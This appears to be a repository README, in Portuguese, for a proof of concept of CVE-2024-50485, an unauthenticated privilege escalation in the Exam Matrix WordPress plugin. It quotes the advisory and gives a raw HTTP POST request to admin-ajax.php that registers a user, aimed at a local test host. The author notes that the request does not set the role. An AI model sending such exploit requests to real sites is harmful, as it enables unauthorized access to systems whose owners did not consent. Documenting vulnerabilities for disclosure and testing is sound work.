randomrobbiebf/cve-2024-50485Exam Matrix <= 1.5 - Escalação de Privilégio Não Autenticada
Exam Matrix <= 1.5 - Escalação de Privilégio Não Autenticada
O plugin Exam Matrix para WordPress é vulnerável à escalação de privilégios em todas as versões até, e incluindo, 1.5. Isso se deve ao plugin não restringir adequadamente a funcionalidade que possibilita que usuários não autenticados se registrem como um papel com privilégios mais altos. Isso torna possível que atacantes não autenticados obtenham privilégios de acesso mais elevados, como administrativo.
Published: 2024-10-25 00:00:00
CVE: CVE-2024-50485
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: exam-matrix
Isso apenas permite que você se registre como um usuário aqui, não há opção para alterar o papel.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 133
Origin: http://kubernetes.docker.internal
Connection: keep-alive
action=register_action&username=admin2&[email protected]&firname=John&lasname=Doe&address=123%20Main%20St&passwrd=securepassword
goToImageUpload